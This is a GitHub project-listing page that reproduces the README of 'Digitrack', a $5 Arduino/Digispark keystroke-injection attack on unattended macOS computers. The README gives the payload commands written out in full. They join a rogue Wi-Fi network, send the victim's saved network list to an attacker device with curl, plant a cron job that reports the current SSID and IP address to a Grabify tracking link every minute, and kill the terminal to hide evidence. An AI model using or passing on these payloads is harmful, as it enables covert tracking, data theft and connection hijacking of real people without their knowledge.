All Projects → skickar → Digitrack

skickar / Digitrack

Attacks for $5 or less using Arduino

Projects that are alternatives of or similar to Digitrack

Esp32 esp8266 wifi speaker oled
A MP3 streaming WiFi speaker for ESP8266 & ESP32 chips
Stars: ✭ 20 (-62.26%)
Mutual labels:  arduino, esp8266
Smarthome
💡 智能电器管理综合系统
Stars: ✭ 33 (-37.74%)
Mutual labels:  arduino, esp8266
Easyntpclient
Library to read time from Network Time Protocol (NTP) servers.
Stars: ✭ 20 (-62.26%)
Mutual labels:  arduino, esp8266
Esp8266 Wifi Relay
simple sketch of using ESP8266WebServer to switch relays on GPIO pins. It serves a simple website with toggle buttons for each relay
Stars: ✭ 13 (-75.47%)
Mutual labels:  arduino, esp8266
Libraryepd
Library Arduino for 4.3 inch e-Paper by Waveshare
Stars: ✭ 50 (-5.66%)
Mutual labels:  arduino, esp8266
Esp8266 pir
ESP8266 Motion Detector to IFTTT
Stars: ✭ 15 (-71.7%)
Mutual labels:  arduino, esp8266
Esp8266 Bitcoin Ssid Ticker
A Bitcoin SSID ticker for ESP8266's written in Arduino C/C++
Stars: ✭ 31 (-41.51%)
Mutual labels:  arduino, esp8266
Mqtt via esp01
TCP/UDP Applicaton for UNO/MEGA/STM32 using ESP8266's AT firmware.
Stars: ✭ 23 (-56.6%)
Mutual labels:  arduino, esp8266
Esp3d
FW for ESP8266/ESP8285/ESP32 used with 3D printer
Stars: ✭ 979 (+1747.17%)
Mutual labels:  arduino, esp8266
Esp8266audio
Arduino library to play MOD, WAV, FLAC, MIDI, RTTTL, MP3, and AAC files on I2S DACs or with a software emulated delta-sigma DAC on the ESP8266 and ESP32
Stars: ✭ 972 (+1733.96%)
Mutual labels:  arduino, esp8266
Esp8266 thing dev
An all-in-one development board for the ESP8266 including an FTDI FT231X for USB programming.
Stars: ✭ 11 (-79.25%)
Mutual labels:  arduino, esp8266
Hass Yaap
Yet another alarm (control) panel for Home Assistant.
Stars: ✭ 44 (-16.98%)
Mutual labels:  arduino, esp8266
Wi Pwn
ESP8266 Deauther ​with a material design WebUI 📶
Stars: ✭ 839 (+1483.02%)
Mutual labels:  arduino, esp8266
Openwifidetectoresp8266
MASLOW: an Open WiFi Detector with ESP8266
Stars: ✭ 15 (-71.7%)
Mutual labels:  arduino, esp8266
Iot cloudcloud
Stars: ✭ 26 (-50.94%)
Mutual labels:  arduino, esp8266
Catchme
CatchME - WiFi Fun Box "Having Fun with ESP8266"
Stars: ✭ 28 (-47.17%)
Mutual labels:  arduino, esp8266
Ewma
Exponentially Weighted Moving Average Filter
Stars: ✭ 21 (-60.38%)
Mutual labels:  arduino, esp8266
Esp8266 Anemometer
ESP8266 based wind anemometer project
Stars: ✭ 22 (-58.49%)
Mutual labels:  arduino, esp8266
Rogue router
Solar Access Point Fileserver for Sparkfun Thing
Stars: ✭ 34 (-35.85%)
Mutual labels:  arduino, esp8266
Wifi ducky
Upload, save and run keystroke injection payloads with an ESP8266 + ATMEGA32U4
Stars: ✭ 991 (+1769.81%)
Mutual labels:  arduino, esp8266

DigiTrack

In 30 seconds, this attack can learn which networks a MacOS computer has connected to before, and plant a script that tracks the current IP address and Wi-Fi network every 60 seconds.

alt text

Now includes: Hardtracker - Digispark VPN buster to send the IP address and BSSID/SSID of nearby Wi-Fi networks on a MacOS computer to a Grabify tracker every 60 seconds.

This is a $5 attack that does a couple things:

  1. Inserts a Wi-Fi backdoor onto a victim computer, allowing you to capture the victim's data connection at any time when you are in Wi-Fi range.
  2. Steals a list of every network the victim has ever connected to (for tracking, classifying, and hijacking data connection)
  3. Inserts a tracking job that send the IP address and currently connected network to a Grabify link every 60 seconds.

Attack goes: A victim leaves a MacOS computer unattended for 30 seconds. The attacker inserts a DigiSpark board loaded with an attack payload. The payload looks like this (with delays and single key strokes removed):

DigiKeyboard.print("networksetup -setairportnetwork en0 'sneakernet' 00000000");

  • We add the network "Sneakernet" to our trusted network list and connect to it.

DigiKeyboard.print("curl -m 10 --silent --output /dev/null -X POST -H "Content-Type: text/plain" --data "$(networksetup -listpreferredwirelessnetworks en0)" 192.168.4.1 &");

  • After connecting, we send a CURL request listing every single network the MacOS computer has connected to in the past to the esp8266 creating the "Sneakernet" network. The & puts the process in the background in case it takes too long, and the -m sets a timer of 10 seconds to prevent it taking too long. Now we know which Wi-Fi networks the victim has joined, and which networks will force the computer to connect without asking.

DigiKeyboard.print("export VISUAL=nano; crontab -e");

  • We create a job that will execute every 60 seconds

DigiKeyboard.print("* * * * * curl --silent --output /dev/null --referer "$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | awk '/ SSID/ {print substr($0, index($0, $2))}')" https://grabi/YOURLINK");

  • We suppress the output of CURL, and grab the network name of the currently connected Wi-Fi network. We sent this along with a CURL request to a tracking URL, delivering the target's IP address and currently connected Wi-Fi network every 60 seconds.

DigiKeyboard.print("wait && kill -9 $(ps -p $PPID -o ppid=)");

  • Finally, we wait for all background processes to finish, and kill the shit out of the terminal window to hide the evidence.

Total run time is about 30 seconds, not including the few seconds the Digisparks waits for a sketch to upload.

Notes: Grabify may go into "I'm under attack" mode and not allow checkin. Look for this line: div class="cf-browser-verification cf-im-under-attack"

If you see it, then the IP address is being blocked by cloudflare.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].